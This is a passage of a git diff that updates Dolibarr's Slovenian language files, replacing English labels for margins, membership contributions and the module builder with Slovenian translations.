      * Marža na Stroškovna cena = Prodajna cena - Stroška cena, določena na kartici izdelka ali WAP, če lastna cena ni določena, ali najboljša cena prodajalca, če WAP še ni določen CostPrice=Stroškovna cena UnitCharges=Stroški po enoti Charges=Stroški AgentContactType=Tip kontakta komercialnega agenta -AgentContactTypeDetails=Define what contact type (linked on invoices) will be used for margin report per contact/address. Note that reading statistics on a contact is not reliable since in most cases the contact may not be defined explicitely on the invoices. +AgentContactTypeDetails=Določite, kateri tip kontakta (povezan na računih) bo uporabljen za poročilo o maržah na kontakt/naslov. Upoštevajte, da branje statističnih podatkov o stiku ni zanesljivo, saj v večini primerov stik morda ni izrecno opredeljen na računih. rateMustBeNumeric=Stopnja mora biti numerična vrednost markRateShouldBeLesserThan100=Označena vrednost mora biti manjša od 100 ShowMarginInfos=Prikaži informacije o marži -CheckMargins=Margins detail -MarginPerSaleRepresentativeWarning=The report of margin per user use the link between third parties and sale representatives to calculate the margin of each sale representative. Because some thirdparties may not have any dedicated sale representative and some third parties may be linked to several, some amounts may not be included into this report (if there is no sale representative) and some may appear on different lines (for each sale representative). +CheckMargins=Podrobnosti o robovih +MarginPerSaleRepresentativeWarning=Poročilo o marži na uporabnika uporablja povezavo med tretjimi osebami in prodajnimi zastopniki za izračun marže vsakega prodajnega zastopnika. Ker nekatere tretje osebe morda nimajo nobenega namenskega prodajnega zastopnika in so nekatere tretje osebe morda povezane z več, nekateri zneski morda ne bodo vključeni v to poročilo (če ni prodajnega zastopnika), nekateri pa se lahko pojavijo v različnih vrsticah (za vsakega prodajnega zastopnika) . diff --git a/htdocs/langs/sl_SI/members.lang b/htdocs/langs/sl_SI/members.lang index a6e08729998..e9616b7c30a 100644 --- a/htdocs/langs/sl_SI/members.lang +++ b/htdocs/langs/sl_SI/members.lang @@ -6,8 +6,8 @@ Member=Član Members=Člani ShowMember=Prikaži člansko kartico UserNotLinkedToMember=Uporabnik ni povezan s članstvom -ThirdpartyNotLinkedToMember=Third party not linked to a member -MembersTickets=Membership address sheet +ThirdpartyNotLinkedToMember=Partner ni povezan s članom +MembersTickets=List z naslovom članstva FundationMembers=Člani fundacije ListOfValidatedPublicMembers=Seznam potrjenih javnih članov ErrorThisMemberIsNotPublic=Ta član ni javen @@ -15,28 +15,30 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Drug član (ime: %s, uporabni ErrorUserPermissionAllowsToLinksToItselfOnly=Zaradi varnostnih razlogov, morate imeti dovoljenje za urejanje vseh uporabnikov, če želite povezati člana z uporabnikom, ki ni vaš. SetLinkToUser=Povezava z Dolibarr uporabnikom SetLinkToThirdParty=Povezava z Dolibarr partnerjem -MembersCards=Generation of cards for members +MemberCountersArePublic=Števci veljavnih članov so javni +MembersCards=Izdelava izkaznic za člane MembersList=Seznam članov MembersListToValid=Seznam predlaganih članov (potrebna potrditev) MembersListValid=Seznam potrjenih članov -MembersListUpToDate=List of valid members with up-to-date contribution -MembersListNotUpToDate=List of valid members with out-of-date contribution -MembersListExcluded=List of excluded members -MembersListResiliated=List of terminated members +MembersListUpToDate=Seznam veljavnih članov s posodobljenim prispevkom +MembersListNotUpToDate=Seznam veljavnih članov z zastarelim prispevkom +MembersListExcluded=Seznam izključenih članov +MembersListResiliated=Seznam izključenih članov MembersListQualified=Seznam kvalificiranih članov MenuMembersToValidate=Predlagani člani MenuMembersValidated=Potrjeni člani -MenuMembersExcluded=Excluded members -MenuMembersResiliated=Terminated members -MembersWithSubscriptionToReceive=Members with contribution to receive -MembersWithSubscriptionToReceiveShort=Contributions to receive -DateSubscription=Date of membership -DateEndSubscription=End date of membership -EndSubscription=End of membership -SubscriptionId=Contribution ID -WithoutSubscription=Without contribution -MemberId=Member Id -MemberRef=Member Ref +MenuMembersExcluded=Izključeni člani +MenuMembersResiliated=Izključeni člani +MembersWithSubscriptionToReceive=Člani s prispevkom za prejemanje +MembersWithSubscriptionToReceiveShort=Prispevki za prejemanje +DateSubscription=Datum včlanitve +DateEndSubscription=Končni datum članstva +EndSubscription=Konec članstva +SubscriptionId=ID prispevka +WithoutSubscription=Without membership +WaitingSubscription=Membership pending +MemberId=ID člana +MemberRef=Član Ref NewMember=Nov član MemberType=Tip člana MemberTypeId=ID tipa člana @@ -44,110 +46,116 @@ MemberTypeLabel=Naziv tipa člana MembersTypes=Tipi članov MemberStatusDraft=Osnutek (potrebno potrditi) MemberStatusDraftShort=Osnutek -MemberStatusActive=Validated (waiting contribution) +MemberStatusActive=Potrjeno (čakajoč prispevek) MemberStatusActiveShort=Potrjen -MemberStatusActiveLate=Contribution expired +MemberStatusActiveLate=Prispevek je potekel MemberStatusActiveLateShort=Pretečen MemberStatusPaid=Posodobljene članarine MemberStatusPaidShort=Posodobljene -MemberStatusExcluded=Excluded member -MemberStatusExcludedShort=Excluded -MemberStatusResiliated=Terminated member -MemberStatusResiliatedShort=Terminated +MemberStatusExcluded=Izključen član +MemberStatusExcludedShort=Izključeno +MemberStatusResiliated=Izključen član +MemberStatusResiliatedShort=Prekinjeno MembersStatusToValid=Predlagani člani -MembersStatusExcluded=Excluded members -MembersStatusResiliated=Terminated members -MemberStatusNoSubscription=Validated (no contribution required) +MembersStatusExcluded=Izključeni člani +MembersStatusResiliated=Izključeni člani +MemberStatusNoSubscription=Potrjeno (prispevek ni potreben) MemberStatusNoSubscriptionShort=Potrjen -SubscriptionNotNeeded=No contribution required +SubscriptionNotNeeded=Prispevek ni potreben NewCotisation=Nov prispevek PaymentSubscription=Plačilo novega prispevka SubscriptionEndDate=Končni datum članstva MembersTypeSetup=Nastavitev tipa članov -MemberTypeModified=Member type modified -DeleteAMemberType=Delete a member type -ConfirmDeleteMemberType=Are you sure you want to delete this member type? -MemberTypeDeleted=Member type deleted -MemberTypeCanNotBeDeleted=Member type can not be deleted +MemberTypeModified=Vrsta člana spremenjena +DeleteAMemberType=Izbrišite vrsto člana +ConfirmDeleteMemberType=Ali ste prepričani, da želite izbrisati to vrsto člana? +MemberTypeDeleted=Vrsta člana izbrisana +MemberTypeCanNotBeDeleted=Vrste člana ni mogoče izbrisati NewSubscription=Nov prispevek NewSubscriptionDesc=Ta obrazec omogoča zabeležko vaše članarine kot novega člana zdručenja. Če želite obnoviti članarino (če ste že član), prosimo raje kontaktirajte vodstvo združenja po emailu %s. -Subscription=Contribution -Subscriptions=Contributions +Subscription=Prispevek +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Kakršen koli znesek +CanEditAmountShortForValues=priporočljiva, poljubna količina +MembershipDuration=Trajanje +GetMembershipButtonLabel=Join +Subscriptions=Prispevki SubscriptionLate=Zamujen -SubscriptionNotReceived=Contribution never received -ListOfSubscriptions=List of contributions -SendCardByMail=Send card by email +SubscriptionNotReceived=Prispevek ni bil nikoli prejet +ListOfSubscriptions=Seznam prispevkov +SendCardByMail=Pošljite kartico po e-pošti AddMember=Ustvari člana NoTypeDefinedGoToSetup=Tipi članov niso določeni. Pojdite v Nastavitve – ipi članov NewMemberType=Nov tip člana -WelcomeEMail=Welcome email -SubscriptionRequired=Contribution required +WelcomeEMail=Pozdravno e-poštno sporočilo +SubscriptionRequired=Potreben je prispevek DeleteType=Izbriši VoteAllowed=Dovoljeno glasovanje -Physical=Individual +Physical=Posameznik Moral=Corporation -MorAndPhy=Corporation and Individual -Reenable=Re-Enable -ExcludeMember=Exclude a member -Exclude=Exclude -ConfirmExcludeMember=Are you sure you want to exclude this member ? -ResiliateMember=Terminate a member -ConfirmResiliateMember=Are you sure you want to terminate this member? +MorAndPhy=Korporacija in posameznik +Reenable=Ponovno omogoči +ExcludeMember=Izključi člana +Exclude=Izključi +ConfirmExcludeMember=Ali ste prepričani, da želite izključiti tega člana? +ResiliateMember=Prekinite člana +ConfirmResiliateMember=Ali ste prepričani, da želite prekiniti tega člana? DeleteMember=Izbriši člana -ConfirmDeleteMember=Are you sure you want to delete this member (Deleting a member will delete all his contributions)? +ConfirmDeleteMember=Ali ste prepričani, da želite izbrisati tega člana (Če izbrišete člana, boste izbrisali vse njegove prispevke)? DeleteSubscription=Izbriši naročnino -ConfirmDeleteSubscription=Are you sure you want to delete this contribution? +ConfirmDeleteSubscription=Ali ste prepričani, da želite izbrisati ta prispevek? Filehtpasswd=Datoteka htpasswd ValidateMember=Potrdi člana -ConfirmValidateMember=Are you sure you want to validate this member? -FollowingLinksArePublic=The following links are open pages not protected by any Dolibarr permission. They are not formatted pages, provided as example to show how to list members database. +ConfirmValidateMember=Ali ste prepričani, da želite potrditi tega člana? +FollowingLinksArePublic=Naslednje povezave so odprte strani, ki niso zaščitene z nobenim dovoljenjem Dolibarr. Niso oblikovane strani, podane so kot primer, ki prikazuje, kako navesti bazo podatkov članov. PublicMemberList=Javni seznam članov -BlankSubscriptionForm=Public self-registration form -BlankSubscriptionFormDesc=Dolibarr can provide you a public URL/website to allow external visitors to ask to subscribe to the foundation. If an online payment module is enabled, a payment form may also be automatically provided. -EnablePublicSubscriptionForm=Enable the public website with self-subscription form -ForceMemberType=Force the member type -ExportDataset_member_1=Members and contributions +BlankSubscriptionForm=Javni obrazec za samoprijavo +BlankSubscriptionFormDesc=Dolibarr vam lahko zagotovi javni URL/spletno mesto, ki zunanjim obiskovalcem omogoča, da zahtevajo naročnino na fundacijo. Če je omogočen spletni plačilni modul, se lahko samodejno zagotovi tudi plačilni obrazec. +EnablePublicSubscriptionForm=Omogočite javno spletno stran s samoprijavnico +ForceMemberType=Vsili vrsto člana +ExportDataset_member_1=Člani in prispevki ImportDataset_member_1=Člani -LastMembersModified=Latest %s modified members -LastSubscriptionsModified=Latest %s modified contributions +LastMembersModified=Najnovejši %s spremenjeni člani +LastSubscriptionsModified=Najnovejši %s spremenjeni prispevki String=Niz Text=Tekst Int=Int DateAndTime=Datum in ura PublicMemberCard=Javna kartica člana -SubscriptionNotRecorded=Contribution not recorded -AddSubscription=Create contribution -ShowSubscription=Show contribution +SubscriptionNotRecorded=Prispevek ni zabeležen +AddSubscription=Ustvari prispevek +ShowSubscription=Prikaži prispevek # Label of email templates -SendingAnEMailToMember=Sending information email to member -SendingEmailOnAutoSubscription=Sending email on auto registration -SendingEmailOnMemberValidation=Sending email on new member validation -SendingEmailOnNewSubscription=Sending email on new contribution -SendingReminderForExpiredSubscription=Sending reminder for expired contributions -SendingEmailOnCancelation=Sending email on cancelation -SendingReminderActionComm=Sending reminder for agenda event +SendingAnEMailToMember=Pošiljanje e-pošte z informacijami članu +SendingEmailOnAutoSubscription=Pošiljanje e-pošte ob samodejni registraciji +SendingEmailOnMemberValidation=Pošiljanje e-pošte ob potrditvi novega člana +SendingEmailOnNewSubscription=Pošiljanje e-pošte o novem prispevku +SendingReminderForExpiredSubscription=Pošiljanje opomnikov za potekle prispevke +SendingEmailOnCancelation=Pošiljanje e-pošte ob preklicu +SendingReminderActionComm=Pošiljanje opomnika za dnevni red dogodka # Topic of email templates -YourMembershipRequestWasReceived=Your membership was received. -YourMembershipWasValidated=Your membership was validated -YourSubscriptionWasRecorded=Your new contribution was recorded -SubscriptionReminderEmail=contribution reminder -YourMembershipWasCanceled=Your membership was canceled +YourMembershipRequestWasReceived=Vaše članstvo je bilo prejeto. +YourMembershipWasValidated=Vaše članstvo je bilo potrjeno +YourSubscriptionWasRecorded=Vaš novi prispevek je bil zabeležen +SubscriptionReminderEmail=opomnik za prispevke +YourMembershipWasCanceled=Vaše članstvo je bilo preklicano CardContent=Vsebina vaše članske kartice # Text of email templates -ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      -ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      -ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      -ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      -DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest -DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Content of the notification email received in case of auto-inscription of a guest -DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Email template to use to send email to a member on member auto-registration -DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Email template to use to send email to a member on member validation -DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Email template to use to send email to a member on new contribution recording -DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Email template to use to send email reminder when contribution is about to expire -DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Email template to use to send email to a member on member cancelation -DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=Email template to use to send email to a member on member exclusion -DescADHERENT_MAIL_FROM=Sender Email for automatic emails +ThisIsContentOfYourMembershipRequestWasReceived=Želimo vas obvestiti, da smo prejeli vašo prošnjo za članstvo.

      +ThisIsContentOfYourMembershipWasValidated=Želimo vas obvestiti, da je bilo vaše članstvo potrjeno z naslednjimi informacijami:

      +ThisIsContentOfYourSubscriptionWasRecorded=Obveščamo vas, da je bila vaša nova naročnina zabeležena. Tukaj je priložen vaš račun.

      +ThisIsContentOfSubscriptionReminderEmail=Želimo vas obvestiti, da bo vaša naročnina kmalu potekla ali je že potekla (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Upamo, da ga boste obnovili.

      +ThisIsContentOfYourCard=To je povzetek informacij, ki jih imamo o vas. Prosimo, kontaktirajte nas, če je karkoli narobe.

      +DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Zadeva prejetega e-poštnega obvestila v primeru samodejnega vpisa gosta +DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Vsebina obvestila, prejetega v primeru samodejnega vpisa gosta +DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=E-poštna predloga za pošiljanje e-pošte članu ob samodejni registraciji člana +DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=E-poštna predloga za pošiljanje e-pošte članu ob potrditvi članstva +DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=E-poštna predloga za pošiljanje e-pošte članu o novem posnetku prispevka +DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=E-poštna predloga za pošiljanje e-poštnega opomnika, ko bo prispevek potekel +DescADHERENT_EMAIL_TEMPLATE_CANCELATION=E-poštna predloga za pošiljanje e-pošte članu ob preklicu članstva +DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=E-poštna predloga za pošiljanje e-pošte članu ob izključitvi člana +DescADHERENT_MAIL_FROM=E-pošta pošiljatelja za samodejna e-poštna sporočila DescADHERENT_ETIQUETTE_TYPE=Format nalepk DescADHERENT_ETIQUETTE_TEXT=Tekst na evidenčnem listu člana DescADHERENT_CARD_TYPE=Format kartic @@ -157,67 +165,71 @@ DescADHERENT_CARD_TEXT_RIGHT=Tekst na članski kartici (desna poravnava) DescADHERENT_CARD_FOOTER_TEXT=Tekst na dnu članske kartice ShowTypeCard=Prikaži tip '%s' HTPasswordExport=Ustvarjanje htpassword datoteke -NoThirdPartyAssociatedToMember=No third party associated with this member -MembersAndSubscriptions=Members and Contributions +NoThirdPartyAssociatedToMember=Noben partner ni povezana s tem članom +MembersAndSubscriptions=Člani in prispevki MoreActions=Dopolnilna aktivnost pri zapisovanju -MoreActionsOnSubscription=Complementary action suggested by default when recording a contribution, also done automatially on online payment of a contribution -MoreActionBankDirect=Create a direct entry on bank account -MoreActionBankViaInvoice=Create an invoice, and a payment on bank account +MoreActionsOnSubscription=Dodatno dejanje, ki je privzeto predlagano ob beleženju prispevka, se izvede tudi samodejno ob spletnem plačilu prispevka +MoreActionBankDirect=Ustvarite neposreden vnos na bančni račun +MoreActionBankViaInvoice=Ustvarite račun in plačilo na TRR MoreActionInvoiceOnly=Ustvarjanje računa brez plačila -LinkToGeneratedPages=Generation of business cards or address sheets +LinkToGeneratedPages=Izdelava vizitk ali listov z naslovi LinkToGeneratedPagesDesc=Ta prikaz vam omogoča, da ustvarite PDF datoteke z vizitkami za vse vaše člane ali določene člane. DocForAllMembersCards=Ustvari vizitke za vse člane (Format za izhod dejanske nastavitve: %s) DocForOneMemberCards=Ustvari vizitke za določenega člana (Format za izhod dejanske nastavitve: %s) DocForLabels=Ustvari seznam naslovov (Format za izhod dejanske nastavitve: %s) -SubscriptionPayment=Contribution payment -LastSubscriptionDate=Date of latest contribution payment -LastSubscriptionAmount=Amount of latest contribution -LastMemberType=Last Member type +SubscriptionPayment=Plačilo prispevka +LastSubscriptionDate=Datum zadnjega plačila prispevka +LastSubscriptionAmount=Znesek zadnjega prispevka +LastMemberType=Vrsta zadnjega člana MembersStatisticsByCountries=Statistika članov po državah MembersStatisticsByState=Statistika članov po deželah MembersStatisticsByTown=Statistika članov po mestih MembersStatisticsByRegion=Statistika članov po regijah -NbOfMembers=Total number of members -NbOfActiveMembers=Total number of current active members +NbOfMembers=Skupno število članov +NbOfActiveMembers=Skupno število trenutno aktivnih članov NoValidatedMemberYet=Najdeni so nepotrjeni člani -MembersByCountryDesc=This screen shows you the statistics of members by countries. Graphs and charts depend on the availability of the Google online graph service as well as on the availability of a working internet connection. -MembersByStateDesc=This screen show you statistics of members by state/provinces/canton. -MembersByTownDesc=This screen show you statistics of members by town. -MembersByNature=This screen show you statistics of members by nature. -MembersByRegion=This screen show you statistics of members by region. +MembersByCountryDesc=Ta zaslon prikazuje statistiko članov po državah. Grafi in diagrami so odvisni od razpoložljivosti Googlove spletne storitve grafov ter od razpoložljivosti delujoče internetne povezave. +MembersByStateDesc=Ta zaslon vam prikazuje statistiko članov po državi/provincah/kantonu. +MembersByTownDesc=Ta zaslon prikazuje statistiko članov po mestih. +MembersByNature=Ta zaslon prikazuje statistiko članov po naravi. +MembersByRegion=Ta zaslon prikazuje statistiko članov po regijah. MembersStatisticsDesc=Izberite statistiko, ki jo želite prebrati... MenuMembersStats=Statistika -LastMemberDate=Latest membership date -LatestSubscriptionDate=Latest contribution date -MemberNature=Nature of the member -MembersNature=Nature of the members -Public=Information is public +LastMemberDate=Zadnji datum članstva +LatestSubscriptionDate=Zadnji datum prispevka +MemberNature=Narava člana +MembersNature=Narava članov +Public=Informacije so javne NewMemberbyWeb=Dodan je nov član. Čaka potrditev. NewMemberForm=Obrazec za nove člane -SubscriptionsStatistics=Contributions statistics -NbOfSubscriptions=Number of contributions -AmountOfSubscriptions=Amount collected from contributions +SubscriptionsStatistics=Statistika prispevkov +NbOfSubscriptions=Število prispevkov +AmountOfSubscriptions=Znesek, zbran s prispevki TurnoverOrBudget=Obseg prodaje (za podjetje) ali proračun (za fundacijo) -DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Skoči na integrirano stran za online plačila -ByProperties=By nature -MembersStatisticsByProperties=Members statistics by nature -VATToUseForSubscriptions=VAT rate to use for contributionss -NoVatOnSubscription=No VAT for contributions -ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Product used for contribution line into invoice: %s -NameOrCompany=Name or company -SubscriptionRecorded=Contribution recorded -NoEmailSentToMember=No email sent to member -EmailSentToMember=Email sent to member at %s -SendReminderForExpiredSubscriptionTitle=Send reminder by email for expired contributions -SendReminderForExpiredSubscription=Send reminder by email to members when contribution is about to expire (parameter is number of days before end of membership to send the remind. It can be a list of days separated by a semicolon, for example '10;5;0;-5') -MembershipPaid=Membership paid for current period (until %s) -YouMayFindYourInvoiceInThisEmail=You may find your invoice attached to this email -XMembersClosed=%s member(s) closed -XExternalUserCreated=%s external user(s) created -ForceMemberNature=Force member nature (Individual or Corporation) -CreateDolibarrLoginDesc=The creation of a user login for members allows them to connect to the application. Depending on the authorizations granted, they will be able, for example, to consult or modify their file themselves. -CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. -MemberFirstname=Member firstname -MemberLastname=Member lastname +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Obiskovalec lahko izbere/uredi višino svojega prispevka ne glede na vrsto člana +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page +ByProperties=Po naravi +MembersStatisticsByProperties=Statistika članov po naravi +VATToUseForSubscriptions=Stopnja DDV za prispevke +NoVatOnSubscription=Brez DDV za prispevke +ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Izdelek, ki se uporablja za vrstico prispevka na računu: %s +NameOrCompany=Ime ali podjetje +SubscriptionRecorded=Prispevek zabeležen +NoEmailSentToMember=Članu ni bilo poslano nobeno e-poštno sporočilo +EmailSentToMember=E-pošta je bila poslana članu na %s +SendReminderForExpiredSubscriptionTitle=Pošlji opomnik po e-pošti za potekle prispevke +SendReminderForExpiredSubscription=Pošlji opomnik po e-pošti članom, ko bo prispevek potekel (parameter je število dni pred koncem članstva za pošiljanje opomina. Lahko je seznam dni, ločenih s podpičjem, na primer '10;5;0;-5 ') +MembershipPaid=Članarina plačana za tekoče obdobje (do %s) +YouMayFindYourInvoiceInThisEmail=Račun lahko najdete v prilogi tega e-poštnega sporočila +XMembersClosed=%s član(-i) zaprt +XExternalUserCreated=%s ustvarjeni zunanji uporabniki +ForceMemberNature=Narava člana sile (posameznik ali družba) +CreateDolibarrLoginDesc=Izdelava uporabniške prijave za člane omogoča povezavo z aplikacijo. Odvisno od podeljenih pooblastil si bodo lahko na primer sami ogledali ali spremenili svojo datoteko. +CreateDolibarrThirdPartyDesc=Tretja oseba je pravna oseba, ki bo navedena na računu, če se odločite za izstavitev računa za vsak prispevek. Ustvarili ga boste lahko kasneje med postopkom snemanja prispevka. +MemberFirstname=Ime člana +MemberLastname=Priimek člana +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/sl_SI/modulebuilder.lang b/htdocs/langs/sl_SI/modulebuilder.lang index 61b5c939d12..c1847bf3062 100644 --- a/htdocs/langs/sl_SI/modulebuilder.lang +++ b/htdocs/langs/sl_SI/modulebuilder.lang @@ -1,147 +1,167 @@ # Dolibarr language file - Source file is en_US - loan -ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. -EnterNameOfModuleDesc=Enter name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. -ModuleBuilderDesc2=Path where modules are generated/edited (first directory for external modules defined into %s): %s -ModuleBuilderDesc3=Generated/editable modules found: %s -ModuleBuilderDesc4=A module is detected as 'editable' when the file %s exists in root of module directory -NewModule=New module -NewObjectInModulebuilder=New object -ModuleKey=Module key -ObjectKey=Object key -ModuleInitialized=Module initialized -FilesForObjectInitialized=Files for new object '%s' initialized -FilesForObjectUpdated=Files for object '%s' updated (.sql files and .class.php file) -ModuleBuilderDescdescription=Enter here all general information that describe your module. -ModuleBuilderDescspecifications=You can enter here a detailed description of the specifications of your module that is not already structured into other tabs. So you have within easy reach all the rules to develop. Also this text content will be included into the generated documentation (see last tab). You can use Markdown format, but it is recommended to use Asciidoc format (comparison between .md and .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown). -ModuleBuilderDescobjects=Define here the objects you want to manage with your module. A CRUD DAO class, SQL files, page to list record of objects, to create/edit/view a record and an API will be generated. -ModuleBuilderDescmenus=This tab is dedicated to define menu entries provided by your module. -ModuleBuilderDescpermissions=This tab is dedicated to define the new permissions you want to provide with your module. -ModuleBuilderDesctriggers=This is the view of triggers provided by your module. To include code executed when a triggered business event is launched, just edit this file. -ModuleBuilderDeschooks=This tab is dedicated to hooks. -ModuleBuilderDescwidgets=This tab is dedicated to manage/build widgets. -ModuleBuilderDescbuildpackage=You can generate here a "ready to distribute" package file (a normalized .zip file) of your module and a "ready to distribute" documentation file. Just click on button to build the package or documentation file. -EnterNameOfModuleToDeleteDesc=You can delete your module. WARNING: All coding files of module (generated or created manually) AND structured data and documentation will be deleted! -EnterNameOfObjectToDeleteDesc=You can delete an object. WARNING: All coding files (generated or created manually) related to object will be deleted! -DangerZone=Danger zone -BuildPackage=Build package -BuildPackageDesc=You can generate a zip package of your application so your are ready to distribute it on any Dolibarr. You can also distribute it or sell it on marketplace like DoliStore.com. -BuildDocumentation=Build documentation -ModuleIsNotActive=This module is not activated yet. Go to %s to make it live or click here -ModuleIsLive=This module has been activated. Any change may break a current live feature. -DescriptionLong=Long description -EditorName=Name of editor -EditorUrl=URL of editor -DescriptorFile=Descriptor file of module -ClassFile=File for PHP DAO CRUD class -ApiClassFile=File for PHP API class -PageForList=PHP page for list of record -PageForCreateEditView=PHP page to create/edit/view a record -PageForAgendaTab=PHP page for event tab -PageForDocumentTab=PHP page for document tab -PageForNoteTab=PHP page for note tab -PageForContactTab=PHP page for contact tab -PathToModulePackage=Path to zip of module/application package -PathToModuleDocumentation=Path to file of module/application documentation (%s) -SpaceOrSpecialCharAreNotAllowed=Spaces or special characters are not allowed. -FileNotYetGenerated=File not yet generated -RegenerateClassAndSql=Force update of .class and .sql files -RegenerateMissingFiles=Generate missing files -SpecificationFile=File of documentation -LanguageFile=File for language -ObjectProperties=Object Properties -ConfirmDeleteProperty=Are you sure you want to delete the property %s? This will change code in PHP class but also remove column from table definition of object. -NotNull=Not NULL -NotNullDesc=1=Set database to NOT NULL. -1=Allow null values and force value to NULL if empty ('' or 0). -SearchAll=Used for 'search all' -DatabaseIndex=Database index -FileAlreadyExists=File %s already exists -TriggersFile=File for triggers code -HooksFile=File for hooks code -ArrayOfKeyValues=Array of key-val -ArrayOfKeyValuesDesc=Array of keys and values if field is a combo list with fixed values -WidgetFile=Widget file -CSSFile=CSS file -JSFile=Javascript file -ReadmeFile=Readme file -ChangeLog=ChangeLog file -TestClassFile=File for PHP Unit Test class -SqlFile=Sql file -PageForLib=File for the common PHP library -PageForObjLib=File for the PHP library dedicated to object -SqlFileExtraFields=Sql file for complementary attributes -SqlFileKey=Sql file for keys -SqlFileKeyExtraFields=Sql file for keys of complementary attributes -AnObjectAlreadyExistWithThisNameAndDiffCase=An object already exists with this name and a different case -UseAsciiDocFormat=You can use Markdown format, but it is recommended to use Asciidoc format (omparison between .md and .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown) -IsAMeasure=Is a measure -DirScanned=Directory scanned -NoTrigger=No trigger -NoWidget=No widget -GoToApiExplorer=API explorer -ListOfMenusEntries=List of menu entries -ListOfDictionariesEntries=List of dictionaries entries -ListOfPermissionsDefined=List of defined permissions -SeeExamples=See examples here -EnabledDesc=Condition to have this field active (Examples: 1 or $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Display on PDF -IsAMeasureDesc=Can the value of field be cumulated to get a total into list? (Examples: 1 or 0) -SearchAllDesc=Is the field used to make a search from the quick search tool? (Examples: 1 or 0) -SpecDefDesc=Enter here all documentation you want to provide with your module that is not already defined by other tabs. You can use .md or better, the rich .asciidoc syntax. -LanguageDefDesc=Enter in this files, all the key and the translation for each language file. -MenusDefDesc=Define here the menus provided by your module -DictionariesDefDesc=Define here the dictionaries provided by your module -PermissionsDefDesc=Define here the new permissions provided by your module -MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), menus are also visible into the menu editor available to administrator users on %s. -DictionariesDefDescTooltip=The dictionaries provided by your module/application are defined into the array $this->dictionaries into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), dictionaries are also visible into the setup area to administrator users on %s. -PermissionsDefDescTooltip=The permissions provided by your module/application are defined into the array $this->rights into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and module re-activated), permissions are visible into the default permissions setup %s. -HooksDefDesc=Define in the module_parts['hooks'] property, in the module descriptor, the context of hooks you want to manage (list of contexts can be found by a search on 'initHooks(' in core code).
      Edit the hook file to add code of your hooked functions (hookable functions can be found by a search on 'executeHooks' in core code). -TriggerDefDesc=Define in the trigger file the code that you want to execute when a business event external to your module is executed (events triggered by other modules). -SeeIDsInUse=See IDs in use in your installation -SeeReservedIDsRangeHere=See range of reserved IDs -ToolkitForDevelopers=Toolkit for Dolibarr developers -TryToUseTheModuleBuilder=If you have knowledge of SQL and PHP, you may use the native module builder wizard.
      Enable the module %s and use the wizard by clicking the on the top right menu.
